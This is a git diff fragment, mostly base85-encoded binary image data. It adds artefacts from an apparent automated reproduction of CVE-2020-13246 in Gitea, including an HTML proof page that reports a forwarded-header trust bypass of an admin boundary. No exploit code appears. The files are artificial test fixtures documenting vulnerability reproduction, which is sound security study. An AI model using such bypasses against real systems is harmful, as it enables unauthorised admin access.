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 literal 0 HcmV?d00001 diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html new file mode 100644 index 00000000..59a3bc2b --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html @@ -0,0 +1,26 @@ + + + + Gitea Proxy Boundary Fixture - proof + + + +
    +

    Gitea Proxy Boundary Fixture

    +

    Forwarded header trust boundary and admin gate fixture.

    +
    Proof active: trusted forwarded headers crossed the boundary
    +

    System: gitea / Family: proxy-boundary

    +
    Admin boundary bypass confirmed.
    + + + + +
    + + \ No newline at end of file diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png new file mode 100644 index 0000000000000000000000000000000000000000..c5abfac3c2cb987cddd973c917737f861ebce7da GIT binary patch literal 36925 zcmd?RRa{hW_%DhGDh4P>mx^?ZbcZ0_-Jo%+BI;?0j?VF^iK-MKlgV&5XWIc7h=d3$sG!14G4 z_*E>d`v2da;NRLgIXT(ZHrhKnIojJcIyyLbGtgL9G+AP&-afv*KEB>Q-oAc5r`~?7 zKLYOkIO*oB*L*4~D{gA)3?Vr6+dW$1c2-q2omIUV%YVn^<>l2VWJ0Wp#W~X`pXc)O zva?B(|KUX)HdAQI&Cs7&*;+0UGHwUgl+8B!FYoM>-Hh-xq`SL&GgnYL+~NA)w(+d0 